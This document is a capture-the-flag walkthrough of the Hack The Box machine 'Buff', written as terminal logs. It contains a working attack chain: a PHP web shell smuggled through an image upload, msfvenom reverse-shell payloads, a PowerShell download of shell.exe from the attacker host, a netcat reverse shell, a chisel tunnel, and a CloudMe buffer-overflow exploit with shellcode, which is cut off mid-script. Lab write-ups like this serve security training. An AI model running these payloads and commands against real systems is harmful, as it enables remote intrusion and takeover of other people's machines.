Nmap TCP scan

```
┌[user@parrot]─[~]
└──╼ $sudo nmap -p- -sS buff.htb -sC -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-07 00:25 +08
Nmap scan report for buff.htb (10.10.10.198)
Host is up (0.040s latency).
rDNS record for 10.10.10.198: buff
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE    VERSION
7680/tcp open  pando-pub?
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 501.32 seconds
┌[user@parrot]─[~]
└──╼ $
```

Nmap UDP scan

```
┌[✗]─[user@parrot]─[~]
└──╼ $sudo nmap -sU buff.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-07 00:26 +08
Nmap scan report for buff.htb (10.10.10.198)
Host is up (0.0032s latency).
rDNS record for 10.10.10.198: buff
All 1000 scanned ports on buff.htb (10.10.10.198) are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 21.94 seconds
┌[user@parrot]─[~]
└──╼ $
```

Link to exploit: https://www.exploit-db.com/exploits/48506

During shell upload analysis, in this case telepathy is the parameter and to issue command, it would be

```
Kamehameha -> Filename
Telepathy -> Contains value to be passed to the GET parameter
```

```
1  POST /upload.php?id=kamehameha HTTP/1.1
2  Host: buff:8080
3  Connection: close
4  Accept-Encoding: gzip, deflate
5  Accept: */*
6  User-Agent: python-requests/2.25.1
7  Cookie: sec_session_id=1851qtefoam4bmulas40515bvo
8  Content-Length: 324
9  Content-Type: multipart/form-data; boundary=cb447cc316a903c82279028174c8449c
10
11 --cb447cc316a903c82279028174c8449c
12 Content-Disposition: form-data; name="pupload"
13
14 upload
15 --cb447cc316a903c82279028174c8449c
16 Content-Disposition: form-data; name="file"; filename="kaio-ken.php.png"
17 Content-Type: image/png
18
19 PNG
20
21 <?php echo shell_exec($_GET["telepathy"]); ?>
22 --cb447cc316a903c82279028174c8449c--
23
```

Connected

```
┌─[✗]─[user@parrot]─[~/Desktop/htb/buff]
└──╼ $python2 ./48506.py 'http://buff:8080/'
           /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
           \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload>
```

Issuing commands analysis

Successful issuing of commands

```
┌─[✗]─[user@parrot]─[~/Desktop/htb/buff]
└──╼ $python2 ./48506.py 'http://buff:8080/'
           /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
           \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> dir
PNG

 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\xampp\htdocs\gym\upload

06/09/2021  18:05    <DIR>          .
06/09/2021  18:05    <DIR>          ..
06/09/2021  18:05                53 kamehameha.php
               1 File(s)             53 bytes
               2 Dir(s)   7,426,322,432 bytes free

C:\xampp\htdocs\gym\upload>
```

Modified exploit code to route to proxy highlighted in **red**

```
        while True:

            thought = raw_input(term)

            command = {'telepathy': thought}

            r2 = requests.get(WEB_SHELL, params=command, verify=False, proxies=proxies)

            status = r2.status_code

            if status != 200:

                r2.raise_for_status()
```

```
            response2 = r2.text

            print(response2)
```

```
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False, proxies=proxies)

    webshell(SERVER_URL, s) [
```

64 bit OS, so gonna create a 64 bit meterpreter payload

```
C:\xampp\htdocs\gym\upload> systeminfo
PNG


Host Name:                 BUFF
OS Name:                   Microsoft Windows 10 Enterprise
OS Version:                10.0.17134 N/A Build 17134
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          shaun
Registered Organization:
Product ID:                00329-10280-00000-AA218
Original Install Date:     16/06/2020, 15:05:58
System Boot Time:          06/09/2021, 17:24:08
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
                           [02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.16707776.B64.2008070230, 07/08/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:             en-us;English (United States)
Input Locale:              en-gb;English (United Kingdom)
Time Zone:                 (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,548 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 2,636 MB
Virtual Memory: In Use:    2,163 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.198
                                 [02]: fe80::60e3:247:cea3:bf51
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will
not be displayed.

C:\xampp\htdocs\gym\upload>
```

Create 64 bit payload

```
┌─[user@parrot]─[~/Desktop/htb/buff]
└──╼ $msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.17.46 lport=443 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
```

```
Final size of exe file: 73802 bytes
┌──[user@parrot]─[~/Desktop/htb/buff]
└──╼ $
```

```
C:\xampp\htdocs\gym\upload> mkdir c:\temp
PNG


C:\xampp\htdocs\gym\upload> dir c:\
PNG

 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of c:\

16/06/2020  19:08    <DIR>          PerfLogs
16/06/2020  20:37    <DIR>          Program Files
12/04/2018  10:16    <DIR>          Program Files (x86)
06/09/2021  18:38    <DIR>          temp
16/06/2020  20:52    <DIR>          Users
18/07/2020  17:35    <DIR>          Windows
16/06/2020  16:40    <DIR>          xampp
               0 File(s)              0 bytes
               7 Dir(s)   7,468,605,440 bytes free

C:\xampp\htdocs\gym\upload>
```

Transfer files over to target

```
C:\xampp\htdocs\gym\upload> powershell.exe -c "(new-object
System.Net.Webclient).DownloadFile('http://10.10.17.46/shell.exe', 'c:\\temp\\shell.exe')"
PNG


C:\xampp\htdocs\gym\upload> dir c:\temp
PNG

 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of c:\temp

06/09/2021  18:52    <DIR>          .
06/09/2021  18:52    <DIR>          ..
06/09/2021  18:52             7,168 shell.exe
               1 File(s)          7,168 bytes
               2 Dir(s)   7,533,359,104 bytes free

C:\xampp\htdocs\gym\upload>
```

File xfer confirmed

```
┌──[✗]─[user@parrot]─[~/Desktop/htb/buff]
└──╼ $sudo updog -d . -p80
[+] Serving /home/user/Desktop/htb/buff...
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
10.10.10.198 - - [07/Sep/2021 01:52:24] "GET /shell.exe HTTP/1.1" 200 -
```

Execute meterpreter shell

```
C:\xampp\htdocs\gym\upload> cmd /c c:\temp\shell.exe
```

Reverse shell popped but it died fast

```
msf6 exploit(multi/handler) > run
```

```
[*] Started reverse TCP handler on 10.10.17.46:443
[*] Sending stage (175174 bytes) to 10.10.10.198
[*] Meterpreter session 1 opened (10.10.17.46:443 -> 10.10.10.198:49815) at 2021-09-07 01:58:38
+0800

meterpreter > sysinfo
Computer        : BUFF
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 5
Meterpreter     : x86/windows
meterpreter > getuid
[*] 10.10.10.198 - Meterpreter session 1 closed.  Reason: Died

[-] Error running command getuid: Rex::TimeoutError Operation timed out.
msf6 exploit(multi/handler) >
```

Start smb support with username and password support on attacking machine and ensure that authentication is successful

```
┌─[✗]─[root@parrot]─[/home/user/.local/bin]
└──╼ #python3 smbserver.py buff /home/user/Desktop/htb/buff/ -smb2support -username test -
password test
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.198,49822)
[*] AUTHENTICATE_MESSAGE (\test,BUFF)
[*] User BUFF\test authenticated successfully
[*]
test:::aaaaaaaaaaaaaaaa:0f30724b9c5280bb7c0fd2e3ddd60008:010100000000000000b83cf4da3d70122f8cfb
aa97c911c0000000001001000430042006700 4f00640056004200770003001000430042006700 4f00640056004200770
0020010007a005200530045004d005300740048000400 10007a005200530045004d005300740048000700080000b83c
f4da3d7010600040002000000080030003000000000000000000000000020000062ee1828268b4eecc851330477bf5bc
63fb0a8c7e5510b3143410f544514b7ec0a0010000000000000000000000000000000000000900200063006900660073 0
02f00310030002e00310030002e00310037002e00340036000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:buff)
```

Authenticate to attacker's smb server

```
C:\xampp\htdocs\gym\upload> net use \\10.10.17.46\buff /user:test test
PNG

The command completed successfully.


C:\xampp\htdocs\gym\upload>
```

Confirm that copy is successful

```
C:\xampp\htdocs\gym\upload> copy \\10.10.17.46\buff\nc.exe c:\temp
PNG

        1 file(s) copied.

C:\xampp\htdocs\gym\upload> dir c:\temp\
PNG

 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7
```

```
 Directory of c:\temp

06/09/2021  19:36    <DIR>          .
06/09/2021  19:36    <DIR>          ..
06/09/2021  19:28            38,616 nc.exe
               1 File(s)         38,616 bytes
               2 Dir(s)   7,813,689,344 bytes free

C:\xampp\htdocs\gym\upload>
```

Execute netcat

```
C:\xampp\htdocs\gym\upload> c:\temp\nc.exe -e cmd.exe 10.10.17.46 443
```

Reverse shell popped

```
┌─[user@parrot]─[~/Desktop/htb/buff]
└──╼ $sudo rlwrap nc -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.198.
Ncat: Connection from 10.10.10.198:49823.
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>
```

User flag

```
dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Desktop

14/07/2020  13:27    <DIR>          .
14/07/2020  13:27    <DIR>          ..
06/09/2021  17:25                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   7,838,822,400 bytes free

hostname
hostname
BUFF

ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::60e3:247:cea3:bf51%10
   IPv4 Address. . . . . . . . . . . : 10.10.10.198
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2

type user.txt
type user.txt
c71857985992866420abba5662c07629

C:\Users\shaun\Desktop>
```

Shaun's privileges

```
whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

C:\Users\shaun\Desktop>
```

```
net user shaun
net user shaun
User name                    shaun
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            16/06/2020 15:08:08
Password expires             Never
Password changeable          16/06/2020 15:08:08
Password required            No
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   16/06/2020 22:38:46

Logon hours allowed          All

Local Group Memberships      *Users
Global Group memberships     *None
The command completed successfully.


C:\Users\shaun\Desktop>
```

Cloudme found in shaun's directory

```
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020  13:27    <DIR>          .
14/07/2020  13:27    <DIR>          ..
16/06/2020  16:26        17,830,824 CloudMe_1112.exe
               1 File(s)     17,830,824 bytes
               2 Dir(s)   9,811,677,184 bytes free

C:\Users\shaun\Downloads>
```

Cloudme program will be the key to move forward

```
tasklist
```

```
Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0                            0          8 K
System                           4                            0         20 K
Registry                       104                            0      2,404 K
smss.exe                       364                            0        448 K
csrss.exe                      448                            0      2,156 K
wininit.exe                    524                            0      1,360 K
csrss.exe                      536                            1      1,892 K
winlogon.exe                   600                            1      1,672 K
services.exe                   672                            0      6,336 K
lsass.exe                      692                            0      9,068 K
svchost.exe                    804                            0        740 K
fontdrvhost.exe                828                            1      1,428 K
fontdrvhost.exe                836                            0     16,620 K
svchost.exe                    848                            0     16,276 K
svchost.exe                    952                            0      9,624 K
svchost.exe                    996                            0      3,488 K
dwm.exe                        320                            1     28,384 K
svchost.exe                    408                            0      7,928 K
svchost.exe                    704                            0      4,332 K
svchost.exe                   1036                            0      4,536 K
svchost.exe                   1044                            0     13,724 K
svchost.exe                   1096                            0     12,388 K
svchost.exe                   1200                            0      4,708 K
svchost.exe                   1276                            0      2,728 K
svchost.exe                   1380                            0      5,324 K
svchost.exe                   1388                            0      8,620 K
svchost.exe                   1396                            0      5,132 K
svchost.exe                   1404                            0      1,412 K
svchost.exe                   1424                            0      5,336 K
svchost.exe                   1540                            0      6,812 K
Memory Compression            1560                            0     27,828 K
svchost.exe                   1672                            0      2,472 K
svchost.exe                   1696                            0      1,756 K
svchost.exe                   1776                            0      2,828 K
svchost.exe                   1768                            0      1,412 K
svchost.exe                   1792                            0      4,916 K
svchost.exe                   1920                            0      4,796 K
svchost.exe                   1960                            0      3,392 K
svchost.exe                   1288                            0      3,940 K
svchost.exe                   1352                            0      2,400 K
svchost.exe                   1332                            0      3,896 K
svchost.exe                   1752                            0      4,776 K
svchost.exe                   2104                            0      1,864 K
svchost.exe                   2216                            0      3,852 K
spoolsv.exe                   2228                            0      4,880 K
svchost.exe                   2380                            0      3,236 K
svchost.exe                   2664                            0     16,784 K
vmtoolsd.exe                  2688                            0     11,072 K
svchost.exe                   2712                            0     26,160 K
VGAuthService.exe             2720                            0      2,364 K
svchost.exe                   2728                            0      3,996 K
svchost.exe                   2760                            0      1,384 K
svchost.exe                   2768                            0      7,780 K
SecurityHealthService.exe     2776                            0      4,192 K
MsMpEng.exe                   2784                            0    148,388 K
svchost.exe                   2796                            0     12,856 K
svchost.exe                   2812                            0      1,424 K
svchost.exe                   2860                            0      3,884 K
svchost.exe                   3000                            0      1,164 K
svchost.exe                   2280                            0      5,324 K
svchost.exe                   3148                            0      5,148 K
dllhost.exe                   3580                            0      4,700 K
WmiPrvSE.exe                  3824                            0     14,664 K
msdtc.exe                     4092                            0      2,924 K
svchost.exe                   4240                            0     28,580 K
sihost.exe                    4292                            1     15,124 K
svchost.exe                   4312                            1      5,032 K
svchost.exe                   4384                            1     28,696 K
```

```
taskhostw.exe                 4452                            1      7,552 K
svchost.exe                   4572                            0      1,608 K
ctfmon.exe                    4636                            1      4,008 K
svchost.exe                   4684                            0      8,716 K
explorer.exe                  4156                            1     40,160 K
NisSrv.exe                    5408                            0      4,572 K
svchost.exe                   5716                            0      2,372 K
svchost.exe                   5852                            0      7,084 K
svchost.exe                   5872                            0      4,100 K
svchost.exe                   6092                            0      8,616 K
svchost.exe                   5000                            0      2,396 K
ShellExperienceHost.exe       3736                            1     41,328 K
SearchUI.exe                  6192                            1     86,300 K
RuntimeBroker.exe             6292                            1     13,316 K
RuntimeBroker.exe             6472                            1     11,516 K
ApplicationFrameHost.exe      6736                            1      9,012 K
MicrosoftEdge.exe             7000                            1     15,712 K
SearchIndexer.exe             7052                            0     13,748 K
browser_broker.exe            7148                            1      1,732 K
RuntimeBroker.exe             6416                            1     17,324 K
RuntimeBroker.exe             7196                            1      1,748 K
MicrosoftEdgeCP.exe           7556                            1      3,564 K
MicrosoftEdgeCP.exe           7564                            1      4,140 K
conhost.exe                   7836                            0        528 K
svchost.exe                   7848                            0      5,568 K
vmtoolsd.exe                  5288                            1      4,600 K
httpd.exe                     8076                            0        140 K
mysqld.exe                    5044                            0      1,100 K
svchost.exe                    784                            1     10,592 K
svchost.exe                   2856                            0      2,484 K
httpd.exe                     4856                            0      5,208 K
svchost.exe                   3936                            0      7,852 K
SgrmBroker.exe                3612                            0      2,632 K
svchost.exe                   8200                            0      4,300 K
svchost.exe                   8416                            0      2,956 K
Microsoft.Photos.exe          9044                            1     29,036 K
RuntimeBroker.exe             6808                            1     10,476 K
WinStore.App.exe              9172                            1        348 K
RuntimeBroker.exe             4192                            1      1,704 K
SystemSettings.exe            8140                            1        676 K
taskhostw.exe                 5808                            1     14,552 K
svchost.exe                   8568                            0      2,856 K
svchost.exe                   6948                            0      2,768 K
svchost.exe                   9124                            0      1,408 K
cmd.exe                       8980                            0        448 K
conhost.exe                   3316                            0        616 K
nc.exe                        2440                            0      1,312 K
cmd.exe                       9192                            0      2,648 K
chisel.exe                    9084                            0      7,604 K
cmd.exe                       8368                            0      2,516 K
conhost.exe                   6116                            0      9,328 K
cmd.exe                       8484                            0      2,492 K
nc.exe                        5108                            0      5,416 K
cmd.exe                       6784                            0      4,020 K
cmd.exe                       5212                            0      3,416 K
conhost.exe                   5280                            0     11,064 K
SearchProtocolHost.exe        3956                            0      7,812 K
SearchFilterHost.exe          4488                            0      6,132 K
CloudMe.exe                   1788                            0     38,712 K
timeout.exe                   8948                            0      3,968 K
tasklist.exe                  1256                            0      7,804 K
```

Netstat list TCP, cloudme runs on localhost port **8888**

```
netstat -ano | findstr TCP
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       952
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5872
```

```
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       3936
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       8076
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       524
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1096
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1388
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2228
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       672
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       692
  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4
  TCP    10.10.10.198:8080      10.10.17.46:60754      ESTABLISHED     8076
  TCP    10.10.10.198:49802     10.10.17.46:443        ESTABLISHED     2440
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       5044
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       468
  TCP    [::]:135               [::]:0                 LISTENING       952
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:7680              [::]:0                 LISTENING       3936
  TCP    [::]:8080              [::]:0                 LISTENING       8076
  TCP    [::]:49664             [::]:0                 LISTENING       524
  TCP    [::]:49665             [::]:0                 LISTENING       1096
  TCP    [::]:49666             [::]:0                 LISTENING       1388
  TCP    [::]:49667             [::]:0                 LISTENING       2228
  TCP    [::]:49668             [::]:0                 LISTENING       672
  TCP    [::]:49669             [::]:0                 LISTENING       692

C:\xampp\htdocs\gym\upload>
```

Firewall config

```
netsh firewall show config

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable

Allowed programs configuration for Domain profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------

Port configuration for Domain profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------

ICMP configuration for Domain profile:
Mode     Type  Description
-------------------------------------------------------------------
Enable   2     Allow outbound packet too big

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable

Service configuration for Standard profile:
Mode     Customized  Name
-------------------------------------------------------------------
Enable   No          Network Discovery

Allowed programs configuration for Standard profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------
Enable   Inbound              mysqld / C:\xampp\mysql\bin\mysqld.exe
Enable   Inbound              Apache HTTP Server / C:\xampp\apache\bin\httpd.exe

Port configuration for Standard profile:
```

```
Port   Protocol  Mode    Traffic direction     Name
----------------------------------------------------------------------

ICMP configuration for Standard profile:
Mode     Type  Description
----------------------------------------------------------------------
Enable   2     Allow outbound packet too big

Log configuration:
----------------------------------------------------------------------
File location   = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
Max file size   = 4096 KB
Dropped packets = Disable
Connections     = Disable

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at https://go.microsoft.com/fwlink/?linkid=121488 .
```

Download chisel windows: https://github.com/jpillora/chisel/releases

```
dir
 Volume in drive Z has no label.
 Volume Serial Number is ABCD-EFAA

 Directory of Z:\

06/09/2021  18:01             5,303 48506.py
06/09/2021  17:58    <DIR>          .vscode
06/09/2021  18:27             8,704 shell.dll
06/09/2021  19:06            73,802 shell.exe
06/09/2021  19:13         1,185,968 7z1900.exe
06/09/2021  19:28            38,616 nc.exe
07/09/2021  07:28         8,548,352 chisel.exe
               7 File(s)     10,592,659 bytes
               1 Dir(s)  7,859,241,890,123,055,120 bytes free

copy chisel.exe c:\temp\
copy chisel.exe c:\temp\
        1 file(s) copied.

dir c:\temp
dir c:\temp
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of c:\temp

07/09/2021  07:34    <DIR>          .
07/09/2021  07:34    <DIR>          ..
07/09/2021  07:28         8,548,352 chisel.exe
06/09/2021  19:28            38,616 nc.exe
07/09/2021  07:08           731,888 plink.exe
               3 File(s)      9,318,856 bytes
               2 Dir(s)   9,812,463,616 bytes free

Z:\>
```

Start chisel server on attacking machine

```
┌─[✗]─[user@parrot]─[~/Desktop/htb/buff]
└──╼ $chisel server -p 8000 --reverse
2021/09/07 14:35:50 server: Reverse tunnelling enabled
2021/09/07 14:35:50 server: Fingerprint wb7MMb66sMWTBfOmdPGGJeSzKuDt72XoQC3PIEqvAjk=
2021/09/07 14:35:50 server: Listening on http://0.0.0.0:8000
```

Start chisel on target machine

```
chisel.exe client 10.10.17.46:8000 R:8888:127.0.0.1:8888
2021/09/07 07:38:35 client: Connecting to ws://10.10.17.46:8000
2021/09/07 07:38:35 client: Connected (Latency 1.1113ms)
```

On the attacking machine there is a log saying the connection is established, highlighted in **red**

```
┌[✗]─[user@parrot]─[~/Desktop/htb/buff]
└──╼ $chisel server -p 8000 --reverse
2021/09/07 14:35:50 server: Reverse tunnelling enabled
2021/09/07 14:35:50 server: Fingerprint wb7MMb66sMWTBfOmdPGGJeSzKuDt72XoQC3PIEqvAjk=
2021/09/07 14:35:50 server: Listening on http://0.0.0.0:8000
2021/09/07 14:37:44 server: session#1: tun: proxy#R:8888=>8888: Listening
```

Copy the relevant exploit

```
┌[user@parrot]─[~/Desktop/htb/buff]
└──╼ $searchsploit -p windows/remote/48389.py
  Exploit: CloudMe 1.11.2 - Buffer Overflow (PoC)
      URL: https://www.exploit-db.com/exploits/48389
     Path: /usr/share/exploitdb/exploits/windows/remote/48389.py
File Type: ASCII text, with CRLF line terminators

Copied EDB-ID #48389's path to the clipboard
┌[user@parrot]─[~/Desktop/htb/buff]
└──╼ $cp /usr/share/exploitdb/exploits/windows/remote/48389.py bof.py
┌[user@parrot]─[~/Desktop/htb/buff]
└──╼ $
```

Generate reverse shell

```
┌[user@parrot]─[~/Desktop/htb/buff]
└──╼ $msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.17.46 lport=8443 -b
'\x00\x0A\x0D' --var-name=reverse EXITFUNC=thread -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1869 bytes
reverse =  b""
reverse += b"\xdb\xd6\xd9\x74\x24\xf4\xbf\xce\x31\xc9\xa4\x5d"
reverse += b"\x31\xc9\xb1\x52\x31\x7d\x17\x03\x7d\x17\x83\x23"
reverse += b"\xcd\x2b\x51\x47\xc6\x2e\x9a\xb7\x17\x4f\x12\x52"
reverse += b"\x26\x4f\x40\x17\x19\x7f\x02\x75\x96\xf4\x46\x6d"
reverse += b"\x2d\x78\x4f\x82\x86\x37\xa9\xad\x17\x6b\x89\xac"
reverse += b"\x9b\x76\xde\x0e\xa5\xb8\x13\x4f\xe2\xa5\xde\x1d"
reverse += b"\xbb\xa2\x4d\xb1\xc8\xff\x4d\x3a\x82\xee\xd5\xdf"
reverse += b"\x53\x10\xf7\x4e\xef\x4b\xd7\x71\x3c\xe0\x5e\x69"
reverse += b"\x21\xcd\x29\x02\x91\xb9\xab\xc2\xeb\x42\x07\x2b"
reverse += b"\xc4\xb0\x59\x6c\xe3\x2a\x2c\x84\x17\xd6\x37\x53"
reverse += b"\x65\x0c\xbd\x47\xcd\xc7\x65\xa3\xef\x04\xf3\x20"
reverse += b"\xe3\xe1\x77\x6e\xe0\xf4\x54\x05\x1c\x7c\x5b\xc9"
reverse += b"\x94\xc6\x78\xcd\xfd\x9d\xe1\x54\x58\x73\x1d\x86"
reverse += b"\x03\x2c\xbb\xcd\xae\x39\xb6\x8c\xa6\x8e\xfb\x2e"
reverse += b"\x37\x99\x8c\x5d\x05\x06\x27\xc9\x25\xcf\xe1\x0e"
reverse += b"\x49\xfa\x56\x80\xb4\x05\xa7\x89\x72\x51\xf7\xa1"
reverse += b"\x53\xda\x9c\x31\x5b\x0f\x32\x61\xf3\xe0\xf3\xd1"
reverse += b"\xb3\x50\x9c\x3b\x3c\x8e\xbc\x44\x96\xa7\x57\xbf"
reverse += b"\x71\xc2\xad\xae\xaf\xba\xb3\xd0\x8f\xc1\x3d\x36"
reverse += b"\xa5\x25\x68\xe1\x52\xdf\x31\x79\xc2\x20\xec\x04"
reverse += b"\xc4\xab\x03\xf9\x8b\x5b\x69\xe9\x7c\xac\x24\x53"
reverse += b"\x2a\xb3\x92\xfb\xb0\x26\x79\xfb\xbf\x5a\xd6\xac"
reverse += b"\xe8\xad\x2f\x38\x05\x97\x99\x5e\xd4\x41\xe1\xda"
reverse += b"\x03\xb2\xec\xe3\xc6\x8e\xca\xf3\x1e\x0e\x57\xa7"
reverse += b"\xce\x59\x01\x11\xa9\x33\xe3\xcb\x63\xef\xad\x9b"
```

```
reverse += b"\xf2\xc3\x6d\xdd\xfa\x09\x18\x01\x4a\xe4\x5d\x3e"
reverse += b"\x63\x60\x6a\x47\x99\x10\x95\x92\x19\x30\x74\x36"
reverse += b"\x54\xd9\x21\xd3\xd5\x84\xd1\x0e\x19\xb1\x51\xba"
reverse += b"\xe2\x46\x49\xcf\xe7\x03\xcd\x3c\x9a\x1c\xb8\x42"
reverse += b"\x09\x1c\xe9"
```

Modify POC. Modified portions are highlighted in **red**

```
#!/usr/bin/python2
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket
import sys

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
reverse =  b""
reverse += b"\xdb\xd6\xd9\x74\x24\xf4\xbf\xce\x31\xc9\xa4\x5d"
reverse += b"\x31\xc9\xb1\x52\x31\x7d\x17\x03\x7d\x17\x83\x23"
reverse += b"\xcd\x2b\x51\x47\xc6\x2e\x9a\xb7\x17\x4f\x12\x52"
reverse += b"\x26\x4f\x40\x17\x19\x7f\x02\x75\x96\xf4\x46\x6d"
reverse += b"\x2d\x78\x4f\x82\x86\x37\xa9\xad\x17\x6b\x89\xac"
reverse += b"\x9b\x76\xde\x0e\xa5\xb8\x13\x4f\xe2\xa5\xde\x1d"
reverse += b"\xbb\xa2\x4d\xb1\xc8\xff\x4d\x3a\x82\xee\xd5\xdf"
reverse += b"\x53\x10\xf7\x4e\xef\x4b\xd7\x71\x3c\xe0\x5e\x69"
reverse += b"\x21\xcd\x29\x02\x91\xb9\xab\xc2\xeb\x42\x07\x2b"
reverse += b"\xc4\xb0\x59\x6c\xe3\x2a\x2c\x84\x17\xd6\x37\x53"
reverse += b"\x65\x0c\xbd\x47\xcd\xc7\x65\xa3\xef\x04\xf3\x20"
